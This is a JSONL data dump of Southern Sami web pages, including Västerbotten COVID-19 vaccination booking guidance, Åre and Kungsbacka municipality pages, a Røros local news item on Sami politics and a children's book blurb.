0.9907430410385132}","num_words":47,"character_repetition_ratio":0.092,"word_repetition_ratio":0.0,"special_characters_ratio":0.155,"stopwords_ratio":0.106,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dïhte dov regiovne mij dïedtem vaksinasjovnen åvteste åtna. Veeljh regiovnem bijjemes sæjrosne guktie vielie bïevnesh åadtjoeh mij faamosne gusnie datne leah.\nDatne ih daarpesjh maeksedh vaksijnasjovnen åvteste covid-19:n vööste.\nDatne jïjtje veeljh jis edtjh vaksineeredh.\nDængkoeh tïjjem gosse vaksineeredh\nFolkhälsomyndigheten leah raeriestamme öörnegem guktie ovmessie almetjidie edtja vaksinasjovnem faalehtidh.\nGaajhkide almetjidie gïeh 18 jaepieh jallh båarasommes vaksinasjovnem faalehte. Datne ih daarpesjh sveerjen otnjege årrodh juktie vaksijnem åadtjodh.\nDatnem juvnehte vaksineeredh læjhkan jis covid-19:m utnih.\nGåessie maahtah Västerbottenisnie vaksineeredh?\nGaajhkh Västerbottenisnie mah båarasåbpoe 18 jaepien båeries vuj båarasåbpoe faalasåvva vaksinasjovne. Datne ih daarpesjh sveerjen otnjege årrodh guktie vaksijnem åadtjodh. Aaj almetjidie mah Sveerjesne hööltestieh, asyjlem ohtsedieh vuj Sveerjesne luhpehts vaksinasjovnem faalehte.\nGaajhkide gïeh 18 jaepien båeries jallh båarasåbpoe vaksijnem faalehtibie jïh dah maehtieh daelie tïjjem dængkodh.\nNaemhtie darjoeh gosse tïjjem dængkoeh\nDatne maahtah vaksineeredh vyljehks healsoejarngesne Västerbottenen leenesne jallh vaksinasjovnedåastovisnie Upmijisnie. Naan sijjine maahtah aaj Vaccina:sne vaksineeredh. Dïhte sïelte mij covid-19:n vööste vaksineeredh mij laavenjassem åådtjeme Region Västerbottenistie.\nDatne dov göökte veahkah åadtjoeh seamma healsoejarngesne jallh vaksinasjovnedåastovisnie. Datne jïjtje voestes veahkan tïjjem dængkoeh. Man gellie tïjjh gååvnesieh jeerehte man jïjnjh vaksijnh Region Västerbotten åådtje fïerhten våhkoen. Dov mubpie veahkan tïjjem åadtjoeh 7 våhkoej mænngan dov voestes veahkeste. Hoksebarkijh dutnjien dov mubpien veahkan tïjjem vedtieh gosse voestes veahkan åadtjoeh. Ih maehtieh mubpien veahkan tïjjem veeljedh. Jis ih maehtieh vaksineeredh 7 våhkoej voestes veahkan mænngan edtjh jeatjah tïjjem voestes veahkese dængkodh.\nDatne tïjjem dængkoeh 1177.se:n sïjse loggedh e-legitimasjovnine, Vaccina:n webbsijjesne jallh vyljehke healsoejarngem ringkedh. Jis ij leah nuepiem tïjjem dængkodh gaskeviermesne vuj ringkedh maahtah healsoejarngesne daam darjodh.\nIh maehtieh 1177:n gåajkoe ringkedh jïh tïjjem dængkodh.\nJis dov ij leah sveerjen persovnenummere\nDatne maahtah vaksineeredh vaallah dov ij leah sveerjen persovnenummere. Datne tïjjem dængkoeh healsoejarngesne.\nVaeltieh såemies såarhte legitimasjovnem meatan goh LMA-kåarhte vuj EU-kåarhte. Jis dov lea ektiedimmienummere, vaeltieh daam aaj meatan.\nDatne annjebodts nummerem åadtjoeh skïemtjehokseste maam tjoerh spååredh goske mubpie vaksijneveahkam åadtjoeh. Jis dov lea reservenummere maam aarebi hokseste åådtjeme maahtah daam nuhtjedh. Nummere ajve skïemtjehoksesne nuhtjh jïh eah mubpieh byjjesfaamojste maehtieh daam goerehtidh vuj nuhtjedh.\nTïjjem dængkodh gaskeviermesne\nGosse datne 1177.se:n sïjse loggeme jïh edtjh tïjjem dængkodh dellie bïevnesh sveerjengïelesne. Jis ih maehtieh sveerjengïelesne lohkedh, maahtah gihtjedh mubpiem maam damth datnem viehkehte tïjjem dængkodh gaskeviermesne. Maahtah aaj healsoejarngese ringkedh jïh tïjjem dængkodh.\nNaemhtie darjoeh gosse tïjjem 1177.se:sne dængkoeh:\n1. Ohtsedh sæjroem vaccinationsbokning regionvasterbotten.se (sæjroe sveerjengïelesne). Desnie maahtah bijjievuajnoem vuejnedh gåaroes tïjjh gaajhkene healsoejarngine jïh vaksinasjovnedåastovinie.\n2. Fïerhten healsoejarngen jallh vaksinasjovnedåastoven gåaroes tïjjh gååvnesieh daatojne jïh man gellie tïjjh fïerhten biejjien. Gåaroes tïjji låhkoem kruanasjamme.\n3. Nuhtjh svaalhtesem \"Boka tid för vaccination mot covid-19\" healsoejarngese vuj vaksinasjovnedåastovasse maam veeljh.\n4. Loggh sïjse e-legitimasjovnine.\n5. Vaestedh goerem gusnie naan gyhtjelassh. Gyhtjelassh sveerjengïelesne.\n6. Veeljh \"Covid-19-vaccination dos 1\".\n7. Veeljh gåaroes tïjjem.\nIh maehtieh tïjjem Vaccina:sne dængkodh jis 1177.se:se sïjse loggedh. Sæjrosne vaccinationsbokning.regionvasterbotten.se bïevnesh gååvnesieh gusnie Vaccina leah. Aaj svaalhtesh gååvnesieh gusnie maahtah tïjjem dængkodh.\nIj naan tïjjh gååvnesh gosse voejhkelh tïjjem dængkodh gaskeviermesne?\nJis ij naan gåaroes tïjjh gååvnesh gosse edtjh dam dængkodh maahtah viht voejhkelidh måedtie biejjiej mænngan. Jeenjebe tïjjh gujht båetieh.\nMaahtah aaj voejhkelidh vaksinasjovnedåastoven jallh jeatjah healsoejarngen tjïrrh dængkodh.\nÅadtjoeh fiejliedïjrem gosse voejhkelh dængkodh?\nJis åadtjoeh fiejliedïjrem gosse edtjh tïjjem dængkodh dellie kaanne jïjnjh almetjh voejhkelieh seamma tïjjem dængkoeh. Voejhkelh dellie jeatjah tïjjem veeljh.\nTïjjem dængkodh gosse healsoejarngese ringkh\nDatne maahtah tïjjem dængkodh jis ringkh vyljehke healsoejarngese. Ij daarpesjh healsoejarngem maam daamhtaj nuhtjh. Healsoejarnge maahtah aaj datnem viehkehte tïjjem dængkodh vaksinasjovnedåastovisnie. Ih maehtieh 1177:se ringkedh jïh tïjjem dængkodh.\nGosse ringkh maahtah sveerjengïelem vuj englaanten gïelem soptsestidh. Gihtjh giem akt maam damth jis ih naan dejstie gïelijste soptsesth.\nBarkijh healsoejarngesne eah maehtieh datnem viehkiehtidh tïjjem dængkodh Vaccinan luvnie.\nDængkomem jeatjahtehtedh\nVihkeles datne båatah dov dængkome tïjjese dan gaavhtan vaksijne dutnjien mij dængkome.\nMohte jis dov covid-19:n symptomh ih edtjh vaksineeredh. Dellie edtjh dov tïjjem jeatjahtehtedh jïh dan sijjeste pryövenassem vedtedh. Bïevnesh guktie pryövenassem vadtah gååvnesieh 1177.se:sne.\nHealsoejarngh jïh vaksinasjovnedåastovh gaertjiedamme nuepieh utnieh orre tïjjem faaledh mubpie veahkese. Dïhte dan gaavhtan maahta gellie våhkoeh vaesieh åvteli orre tïjjem åadtjoeh.\nJis tïjjem dængkome gaskeviermesne\nDatne mij tïjjem dængkome gaskeviermesne daam jeatjahtahtah gosse 1177.se:sen sïjse loggh jïh diedtesth på \"Se bokade tider\". Maahtah aaj svaalhtesem nuhtjedh \"Av\/omboka tid för vaccination mot covid-19\" sæjrosne Vaccination mot covid-19 i Västerbotten dåastovisnie gusnie tïjjem dængkoejih.\nIh maehtieh mubpie veahkan tïjjem jeatjahtehtedh gaskeviermesne. Jis skïemtjedh jïh tjoerh dov tïjjem jeatjahtehtedh edtjh healsoejarngese ringkedh jïh orre tïjjem åadtjodh. Seamma dutnjien gie tïjjem vaksinasjovnedåastovisnie åådtjeme.\nDatne gie vaksijnem Vaccina:ste åådtjeme tjoeverh jïjtje mubpie vaksinasjovne-tïjjem dængkodh. Vielie bïevnesh åadtjoeh dov voestes veahkan mænngan.\nJis tïjjem telefonine dængkome\nDatne gie dov tïjjem dængkome telefonine edtjh healsoejarngese ringkedh jïh daam jeatjahtehtedh.\nIh maehtieh 1177 Vårdguiden gåajkoe ringkedh jis sïjhth tïjjem jeatjahtehtedh.\nJis ih båetieh dov dængkome tïjjese jallh dam fer seente jeatjahtahtah\nJis ih båetieh dov dængkome tïjjese tjoerh maaksoem maeksedh. Seamma jis tïjjem jeatjahtahtah unnebe 24 tæjmoeh dan åvteli. Maaksoe lea 250 kråvnah.\nVihkeles mubpie vaksijneveahkan bïjre\nDatne gie Västerbottenisnie vaksineerh åadtjoeh dov göökte vaksijneveahkah seamma healsoejarngesne jallh vaksijnedåastovisnie. Sjïere tsiehkesne maahtah mubpie veahkam åadtjodh mubpie sijjesne. Vihkeles gåabpatjahkh veahkah seamma vaksijneleverantööreste båetieh.\nJis ussjedh Västerbottenistie juhtedh jeatjah regionese Sveerjesne åvteli mubpie veahkam åådtjeme dellie tjoerh jïjtje goerehtidh mah vaksinasjovnenuepieh gååvnesieh mubpie regionesne. Datne tjoerh aaj jïjtje daejredh mij vaksijnide datne åadtjoejih voestes veahka.\nJis annjebodts Sveerjesne årroeh jïh soejkesjh gåatan vuelkedh åvteli mubpie veahkam åådtjeme byöroeh goerehtidh jis nuepie gååvnese vaksijnem åadtjodh dejnie laantesne gåabph vualkah. Goerehth dam åvteli voestes veahka vaaltah.\nUssjedh dejtie vaksinasjovnen åvteli\n- Vaeltieh dov legitimasjovnem meatan jïh dievhtieh healsoedeklarasjovnem. Datne svaalhtesem gaavh healsoedeklarasjovnese dov gïelesne 1177.se\/en\/. Maahtah aaj healsoedeklarasjovnem åadtjodh maam deavhtah gosse vaksinasjovnem åadtjodh.\n- Utnieh vaarjoeh mah aelhkieslaakan darjoeh dov bijjiegïetem jaksedh gosse vaksineeredh. Vuesiehtimmien gaavhtan åenehkssissehts tråajja. Aellieh dåastovasse båetieh jis dov covid-19:n symptomh. Dellie dov tïjjem jeatjahtahtah.\n- Båetieh aaremosth luhkie minuhth åvteli dængkome tïjjen guktie ij dan soe jïjnjh almetjh desnie sjïdth. Ussjedh gåhkoem hööltedh mubpide gosse dov våaroem vuartah.\n- Barkije gïem råakh daaroste jïh englaanten gïelem soptseste. Jis healsoejarngesne vaksineerh dov nuepiem åtnah toelhkem åadtjodh. Dellie tjoerh daam jiehtedh barkijidie gosse tïjjem dængkoeh.\n- Gaajhkh hoksebarkijh sjaavohthvoetedïedtem utnieh. Dïhte sæjhta jiehtedh dah eah åadtjoeh dov hoksen jïh båehtjierdimmien bïjre soptsestidh almetjasse hoksen ålkolen. Daate faamosne jis dov lea sveerjen otnjege vuj ij.\n- Nuhtjh dåhkasjahteme njaelmieskuahpam dovne gosse vaksinasjovnesne mïnnh jïh desnie leah. Jis dåeriedæjjam daarpesjh dellie dïhte aaj tjoevere njaelmieskuahpam nuhtjedh.\nVaksinasjovnese vuelkedh\nDatne ih åadtjoeh skïemtjefeelemem jallh dåarjoem dov feelemen åvteste gosse edtjh vaksijnem åadtjodh covid-19:n vööste. Jis dov feelemedïenesje maahtah dam nuhtjedh. Maahtah feelemem krïevedh lïhkemes vaksinasjovnesæjjan jis ih maehtieh dohkoe jïjtje vuelkedh jïh daah sjiehtieh dutnjien:\n- Ih maehtieh kollektijvinie vuelkedh ij nuekies beetnegh\n- Dov ij leah naaken gie maahta datnem viehkiehtidh dov feeleminie.\nBïeljelh dellie beställningscentralen för serviceresor (dængkomejarnge dïenesjefeelemasse) telefone 0771-25 10 20 vuarjasjimmien gaavhtan. Barkijh sveerjengïelesne vaestiedieh, mohte dah maehtieh englaanten gïelem soptsestidh jis daarpesjh.\nLohkh vielie mah njoelkedassh faamosne jis edtjh maaksoem feelemen åvteste åadtjodh sæjrosne Sjukresor i Västerbotten (bïevnesh sveerjengïelesne).\nNaemhtie vaksineeredh\nDatne vaksijnem stratjkine gïetese åadtjoeh. Daamhtaj göökte stratjkh åadtjoeh. Dellie åadtjoeh dejtie gööktene aejkien.\nDatne åadtjoeh desnie 15 minuhth årrodh gosse dov stratjkem åådtjeme. Dïhte dan gaavhtan datnine hijven.\nGöökte våhkoej minngemes stratjken mænngan dov lea hijven vaarjelimmiem covid-19:n vööste. Dov lea gujht vaarjelimmiem voestes stratjken mænngan, læjhkan jis edtjh göökte stratjkh åadtjodh.\nDatne ih maehtieh veeljedh mij vaksijnide datne åadtjoeh.\nDov lea reakta bïevnesh hoksebarkijistie åadtjodh gosse vaksineeredh. Gihtjh jis dov naan gyhtjelassh.\nGuktie mannine mænngan?\nKaanne dov gïete baektjede, åejjieh saejriedieh jïh sæjloes sjïdth voestes dygnem vaksinasjovnen mænngan. Datne maahtah aaj gåalodh, vaejliem åadtjodh jallh lïhtsh jïh åedtjieh löökieh. Dïhte lea maam gohtje lissiedåårrese.\nDah lijnies vaejvieh jïh naan biejjiej mænngan dah buaranieh.\nÅrroeh gåetesne jis dov leah symptomh.\nJis eah symptomh buaranieh dygnen mietie daarpesjh pryövenassem vedtedh.\nOvsïejhme lissiedåårresh vaksinasjovneste\nGellie millijovnh almetjh leah covid-19:n vööste vaksineereme. Naan almetjh leah itjmies lissiedåårresh åådtjeme vaksinasjovnen mænngan. Dïhte dan ovsïejhme. Dïhte stuerebe vaahra itjmies skïemtjedh covid-19:n skïemtjelassesne.\nÅejvieladtjh leah raerieh buakteme mij vaksijne ovmessie almetjh edtjieh åadtjodh. Gaajhkh vaksijnh leah eensilaakan goerehtamme.\nLohkh vielie Folkhälsomyndigheten webbesijjesne.\nReektehth lissiedåårresh vaksijneste\nDatne maahtah åejvieladtjese Läkemedelsverket reektehtidh jis datne sovmh vaejvieh vaksijneste sjidtieh. Sæjroe sveerjen gïelesne.\nAaj hoksebarkijh reektehtieh jis dah suvmieh lissiedåårresh vaksijneste sjidtieh.\nBïevnesh sovmeme lissiedåårresi bïjre tjåanghkenieh. Dan mænngan goerehtieh jis dah leah vaksijneste.\nJis nåajsan jïh vaksinasjovne\nDatne mij nåajsan maahtah itjmies skiemtjine sjïdtedh. Guktie datnem jïh maanam vaarjelidh raereste vaksinasjovnem. Datne maahtah vaksijnem åadtjodh våhkoen 12 mænngan graviditeetesne.\nGellie nåajsan nyjsenh leah vaksijnem covid-19:n vööste åådtjeme veartanisnie. Ij leah skaarah vaksijneste vuajneme maanesne tjåejjesne.\nSoptestellieh dov tsegkietnine jis dov naan gyhtjelassh.\nMaana jïh vaksinasjovne\nAlmetjidie 17 jaepieh vuj nuerebe ij vaksinasjovnem raeresth. Maanah 16 jaepien raejeste maahtah såemies aejkien vaksinasjovnem raereste, jis dah itjmies skïemtjelassem utnieh. Dïhte lea vuesiehtimmien gaavhtan sjïere itjmies gåbloeskïemtjelassh.\nSoptsestellieh dov dåaktarinie jis ussjedh mij faamosne.\nDatne mij aarebi allergijen reaksjovnem åådtjeme\nSoptsestellieh dåaktarinie jis datne aarebi allergijen reaksjovnem åådtjeme guktie tjoerih hoksem ohtsedidh seamma biejjien. Dah maehtieh årrodh vaksinasjovneste, daalhkesistie vuj maam akt maam byöpmedih.\nLea vaksijne vihties?\nVaksijne covid-19:n vööste lea vååksjeme seamma buerie vuekine goh mubpieh vaksijnh. Gellie almetjeh leah vaksijnem åådtjeme jïh dotkijh leah dah effekth goerehtamme.\nEnnje vaksijnem goerehtieh.\nDotkijh gellie laantijste lea laavenjostome vaksijnem evtiedamme. Gellie laanth jïh sïelth abpe veartanisnie leah jïjnjh beetnegh maakseme. Dan gaavhtan dan varki vaksijnem evtiedamme.\nSæjrosne Så fungerar vaccin maahtah lohkedh jïh filmh vuejnedh vaksijnen bïjre. Tekste jïh filmh leah sveerjengïelesne.\nJåerhkieh raerieh dåeriedidh guktie covid-19:n geerjehtimmiem vaenede\nDatne edtjh åejvieladtji raeride dåeriedidh aaj mænngan datne vaksijnesjovnem åådtjeme.\nDïhte göökte våhkoeh vaesieh mænngan minngemes stratjke åvteli dov lea hijven vaarjelimmiem. Dïhte onne vaahra datne skïemtjelassem åadtjoeh læjhkan datne leah vaksineereme.\nAaj onne vaahra gååvnese datne vijrusem geerjehth jïlhts ih leah skïemtjedidh, vuesiehtimmien gaavhtan jis vijrush dov gïetine.\nEah daejrieh man guhkiem vaksijne vaarjele.","id":"","dump":"CC-MAIN-2021-31","url":"https:\/\/www.1177.se\/sma-se\/Vasterbotten\/other-languages\/other-languages\/covid-19\/vaccin-sydsamiska\/","date":"2021-08-06T00:21:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-31\/segments\/1627046152085.13\/warc\/CC-MAIN-20210805224801-20210806014801-00687.warc.gz","language":"sma","language_score":1.0,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0}","num_words":1574,"character_repetition_ratio":0.085,"word_repetition_ratio":0.0,"special_characters_ratio":0.147,"stopwords_ratio":0.057,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dam nommem Ååre aelhkies-laakan tuvrismine ektede, bene tjïeltesne 10 000 årrojh aktene dajvesne mij lea 7263 kvaadratekilomeeterh. Ååren tjïeltesne jïjnjh nuepieh dejtie ovmessie daerpiesvoetide, gaajhke Ååreste mij pulsem, jijjejieledem jïh åestiestimmiem faalehte, Edsåsdalese mij seadtoem jïh lïhkesvoetem eatnamasse faalehte.Tjoejkeme hævvi akte dejstie tjïelten sïeptegijstie, bene jïjnjh jeatjah darjomes aaj gååvnesieh disse mij dam sæjhta.\nÅåren tjïelte lea tsïengelen 1. biejjien mænngan, 2010, meatan dennie vijriedamme reeremedajvesne saemiengïelese.\nDïhte saemien kultuvre jïh gïele leah vihkeles bielieh dehtie tjïelten vuekijste jïh identiteteste. Ååren tjïeltesne tjohtjebe \" aktem jielemem dan åarjelsaemien gïelese vedtedh\", mij sæjhta jiehtedh sjïere råajvarimmieh guktie maahta dam åarjelsaemien gïelem dovne vaarjelidh jïh evtiedidh båetije biejjide.\nMijjieh vïenhtebe gaajhkesh maehtieh jïjtse sijjiem Ååren tjïeltesne gaavnedh.","id":"","dump":"CC-MAIN-2021-31","url":"https:\/\/are.se\/byggabo\/samiska","date":"2021-08-04T03:42:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-31\/segments\/1627046154500.32\/warc\/CC-MAIN-20210804013942-20210804043942-00100.warc.gz","language":"sma","language_score":1.0000002384,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"sma_Latn_score\": 1.000000238418579}","num_words":109,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.155,"stopwords_ratio":0.101,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daan jaepien lïhke-veeljeme Röörosisnie vuesehte SG 14,7% gaajhkide gïelijste åadtjoeji. Daate illedahken gïelh leah stuerebe goh evtebe jaepieh. SG'en gåålmeden kaandidate Hilde Danielsen lea öövre geerjene veeljemen illedahken åvteste.\n-Manne jïh mijjieh SG'sne libie öövre madtjeles daan jaepien veeljemen åvteste. SG'en gïelh leah dej minngemes jaepiej bijjeli byjjenamme jïh mijjieh libie aaj madtjeles SG'en illedahkh abpe laanesne. Mohte manne leam joekoen madtjeles juktie manne leam SG'en gåålmeden kandidaate jïh dannasinie åadtjoem tjïelteståvrose tjaangedh.\nDaelie gosse Hilde Danielsen edtja tjïelteståvrosne barkedh satne sæjhta SG-politihkem lutnjedh mij buerie SG-aarvoevåarome åtna. Hilde dååjve jïjnjem dan bïjre barkedh. Dïhte aaj tuhtjie saemien aamhtesh leah öövre vihkeles lutnjedh jïh satne sæjhta saemien aamhtsigujmie barkedh.\n-Mov vaajmoe saemien aamhtsi åvteste tsaapma, jïh nov lea dannasinie manne politihkem lyjhkem. Manne vïenhtem eelki saemiej aamhtsigujmie, jïh dan åvteste sïjhtem saemiej aamhtesidie lutnjedh. Sïjhtem sjïere gïelen bïjre barkedh jïh aaj juktie Röörose lea reeremedajvem sjïdteme jïh sïjhtem jïjnjem dan bïjre barkedh. Tuhtjem vihkeles buerie nuepiede maanajgiertesne, skuvlesne, voeres-såjhtosne jïh saemien healsosne tseegkedh. Mov mïelen mietie saemieh edtjieh seamma reaktah utnedh goh jeatjah almetjh.\nHilde lea öövre positijve jïh sæjhta jeatjah saemien organisasjovnigujmie båetije biejjide laavenjostedh, goh maehtieh eejtegh, noerh jïh båeries almetjh årrodh. Vuesiehtimmien gaavhtan saemien healsoeviermie, voeres-raerie jallh eejteghviermie.\nDaan gaskebiejjien tsåahka 17.30 edtja almetjetjåanghkoe Röörosen hotellesne årrodh, jïh dïhte aamhtese lea «Akte jaepie saemien gïelen reeremedajvesne». Hilde Danielsen edtja daan gaskebiejjien tjåanghkoe dåeriedidh jïh dan nåennieh leah tjïelke:\n-Mov nåennieh leah ahte almetjh gieh daennie tjïeltesne årroeminie åadtjoeh dej mïelh jiehtedh jïh buerkiestidh guktie dah tuhtjieh saemien reeremedajvesne årrodh. Vuartam buerie moenedimmie jïh aaj man bïjre tjoerebe vielie barkedh. Reeremedajvem sjidtedh ij leah akten jaepien bijjelen dorjeme jïh manne tuhtjem byörimh guhkebe båeteme. Nov daajram Röörosen tjïelte dejnie barkeminie jïh vuartam edtjebe vielie dejnie båetije biejjide barkedh.\nVoestegh Hilde Danielsen aavode guktie dej båetije jaepieh sjidtjieh. Tjïerteste dïhte lea joekoen garmeres jïh geerjene juktie åadtjoe tjïelteståvrosne barkedh. Dïhte aaj öövre geerjene juktie daen soe gellieh almetjh leah SG'm veeljeme. Hilde jeahta dïhte stoerre nåennieh jïjtjese åtna ,edtja jïjnjem barkedh jïh daate lea aktem joekoen dïedte. Hilde jïjnjem aavode tjïelteståvrosne barkedh jïh hååhkesje gieltegs sjædta båetije biejjide.\nDaelie Röörosen tjïelte lea reeremedajve aktem jaepiem orreme jïh daan biejjien Saemiedigkien byjjenimmie-, hokse- jïh ööhpehtimmiemoenehtse diekie Röörosese båata.\nDaan biejjien skïereden 10.biejjien dæjstan Saemiedigkien byjjenimmie-, hokse- jïh ööhpehtimmiemoenehtse Röörosese båata jïh edtja aktem ræhpas almetjetjåanghkoem öörnedh. Dan almetjetjåanghkoen aamhtese lea «Akte jaepie saemien gïelen reeremedajvesne» jïh edtja Röörosen hotellesne tsåahka 17.30-19.00 årrodh.\nÅvtehke Márjá-Liissá Partapuoli jeahta ahte Saemiedigkie sæjhta govledh guktie daan jaepien reeremedajvine orreme, maam almetjh daennie dajvesne ussjedieh, jis leah naanh haestemh jïh guktie Röörosen reeremedajve edtja båetije biejjide evtiedidh. Daan jaepien aaj lea aalkoealmetjegïeli gaskenasjonaale jaepie – IYIL 2019, jïh dannasinie Saemiedigkie sæjhta vielie gïeligujmie barkedh.\nMárjá-Liissá Partapuoli aaj jeahta hååhkesje almetjetjåanghkoe gieltegs sjædta, jïh aaj hååhkesje almetjh sïjhtieh dïsse tjåanghkose mïnnedh Saemiedigkien byjjenimmie-, hokse- jïh ööhpehtimmiemoenehtsinie soptsestidh.","id":"","dump":"CC-MAIN-2021-31","url":"https:\/\/rorosnytt.no\/2019\/09\/10\/","date":"2021-08-05T12:13:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-31\/segments\/1627046155529.97\/warc\/CC-MAIN-20210805095314-20210805125314-00095.warc.gz","language":"sma","language_score":1.000005722,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000057220458984}","num_words":466,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.15,"stopwords_ratio":0.15,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Aigine Lavra - Giesie Bassegohppesne\nTorkel Rasmussen\nÅerjelsaemien teekste: Aasta Vangberg\nAthos-Ande lea nåajte, sjamane. Dihte lea jijtjemse garanasine dorjeme jih gihtjie Aigine Lavram Satnem dåeriedidh. Dah lopme-vaeriej bijjelen vuemien mietie dåvvese.\nGiesie Bassegohppesne lea rovmana maanide jih noeride. Daesnie maahta Aigine Lavram dåeriedidh saemiej aejles sæjjan voejkenen tjirrh, jih giltegs govledh mij deahpede.\nGærja lea Torkel Rasmussen voestes gærja maanide jih noeride. Aerebe lea gøøkte gærjah maanide tjaaleme.\nDatne aaj daam rovmanem maahtah goltelidh goh tjoejenasse-gærja.","id":"","dump":"CC-MAIN-2021-31","url":"https:\/\/www.gavpi.org\/for-ungdom-pa-samisk\/786-aigine-lavra-giesie-bassegohppesne.html","date":"2021-08-05T20:01:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-31\/segments\/1627046157039.99\/warc\/CC-MAIN-20210805193327-20210805223327-00127.warc.gz","language":"sma","language_score":0.9998396635,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"sma_Latn_score\": 0.9998396635055542}","num_words":76,"character_repetition_ratio":0.083,"word_repetition_ratio":0.0,"special_characters_ratio":0.156,"stopwords_ratio":0.132,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Buerie båateme Kungsbackan tjïeltese\nMijjieh dan aavoedibie datne mijjen webbesäjroem gaavneme jïh håhkobe bïevnesem gaavnh mij soptseste guktie lea Kungsbackan tjïeltesne årrodh, barkedh jïh guessine årrodh.\nMijjieh åenehks bïevnesem ovmessie gïeline dorjeme dan bïjre maam gaajhkide dejtie faalebe gïeh Kungsbackan tjïeltesne. Jienebh bïevnesh maahtah engelske gïelesne gaavnedh, jïh ellies versjovnem sveerjen gïelesne.\nJis sïjhth maam gihtjedh jallh laejhtedh maahtah mijjen servicejarngem Kungsbacka direkt gaskesadtedh telefovnen jallh mailen tjïrrh, jallh maahtah mijjem guessiehtidh juktie viehkiem åadtjodh. Mijjieh maehtebe voestes geatjan engelske gïelesne viehkiehtidh.\nKungsbacka direkt\nStadshuset, fealadimmiejarngen gaskelen\nStorgatan 37, Kungsbacka\n0300-83 40 00\nfirstname.lastname@example.org\nRïehpestïjje:\nMåanta 8-18\nDäjsta-duarsta 8-17\nBearjadahke 8-15\nKungsbacka – tjïelte gusnie gellie sijhtieh årrodh\nKungsbacka gaavnh Sveerjen jillene mearoeraedtesne Göteborgen åarjielistie. Tjïelten jillene dajvesne guhkies mearoe, jïh luvlene dajvesne jielije laanteburriedajvh, bene aaj skåajjh jïh jaevrieh.\nKungsbackesne libie mahte 84 000 årrojh jïh 500 orre årromesijjieh fïerhten jaepien bigkebe. Gellie almetjh daesnie årroeminie bene jeatja tjïeltesne berkieh. Hijven gåerede tåågine fealadidh Göteborgese, Boråsese jïh åarjese Varbergese, Falkenbergese jïh Halmstadese.\nMijjieh jïjnjh håksoeh faalebe:\nÖöhpehtimmie jïh maanahåksoe\nDejtie smaave maanide aarhskuvlh jïh maanahåksoebarkijh utnebe. Aarhskuvlehåksoem faalebe maanide gie akten jaepiem illeme raajan skuvlem aelkieh. Maanahåksoebarkiji luvnie maanah 1-12 jaepien gaskoe håksoem gåetiebyjresisnie åadtjoeh.\nMaadthskuvlesne maanah aarhskuvlebaeleste dovne åktseden skuvlejaapan. Kungsbackesne nuepie gååvnese skuvlh tjïelten nuelesne jïh frijjeskuvlh dovne aarhskuvlh jïh maadthskuvlh ovmessie suerkine veeljedh.\nKungsbackesne stoerre faaleldahke jåarhkeskuvlijste dovne tjïelten nuelesne jïh frijjeskuvline. Maahtah aaj geerveööhpehtimmiem jallh barkoejïlleskuvlem vaedtsedh.\nMaanah jïh learohkh gïeh jeatjah gïelh gåetesne utnieh enn sveerjen gïele maehtieh ööhpehtimmiem sijjen ietniengïelesne skuvlesne åadtjodh.\nDutnjan gie aadtjen Sveerjese båateme jïh lea geerve SFI-ööhpehtimmie, svenska för invandrare, gååvnese.\nHåksoe, viehkie jïh dåarjedimmie\nTjïelte viehkiem faala maanide jïh fuelhkide, voeresidie jïh almetjidie funksjovnevualanimmine jïh almetjidie gïeh dåeriesmoerh alkohovle- jïh daalhkesigujmie jallh jeatja sosijaale dåeriesmoerh utnieh\nMijjieh aaj dïedtem åtna dejtie almetjidie dåarjedidh gïeh aadtjen båateme, baataräjjah jïh maanah jïh noerh gïeh oktegimsie baataramme.\nMaam maahta daesnie darjodh\nKungsbackesne jïjnjem gååvnese darjodh. Sïjhth saavredh jallh teaterem vuartasjidh, tjeahpoem goerehtidh, lohkedh jallh juelkietjengkerem tjïektjedidh – daesnie jïjnjh veeljedh\nMijjen kalendere gaajhkide heannadimmide tjöönghkeme. Kalendere ajve sveerjen gïelesne, bene maahtah mijjen bïevnesejarngem Kunsgsbacka direkt gaskesadtedh juktie viehkiem åadtjodh.\nMijjen siebrielästosne siebrieh gaavnh gellie måedtiesåarhts aamhtesi bïjre v.t.g saavreme, tjeahpoe, teatere jallh jeatjah kultuvrh, ålkenedarjomh jïh ïedtjh.\nStååkedimmiesijjieh dovne stoerre jïh smaave maanide gaajhkene voenine.\nBigkedh, årrodh jïh byjrese\nEdtjh tjïeltem gaskesadtedh jïh sïjhth luhpiem syökedh bigkedh jallh viehkiem daarpesjh tjaetsie- jïh avloppine bene aaj jis säjhta daejredh guktie edtja dov sorhpedahkine bööremes gïehtelidh.\nJielemh jïh barkoe\nKungsbackan tjïelte lea tjïelten stueremes barkoevedtije. Mijjieh libie medtie 7900 barkijh 250 ovmessie barkoej sisnie.\nTjïeltesne gellie smaave jïh stuerebe sïelth åesiestimmesne, bigkemedarjominie jïh dïenesjh sïeltide vtg barkijhleeejeme, ekonomijebarkoe jïh marknadsföringe. Arbetsförmedlingen gåetiesäjrosne dejtie barkojde gååvnesieh mejtie gåerede syökedh.\nTjïelte viehkiem sïeltide vadta, orre sïelth dåarjede jïh darjoemidie vaaksjobe.\nDatne tuvriste Kungsbackesne?\nDellie maahtah bïevnesh gaavnedh mijjen webbesäjrosne Turism Kungsbacka.\nSvaalhtesh\nWebbesäjrosne informationsverige.se bïevnesh gååvnesh ovmessie 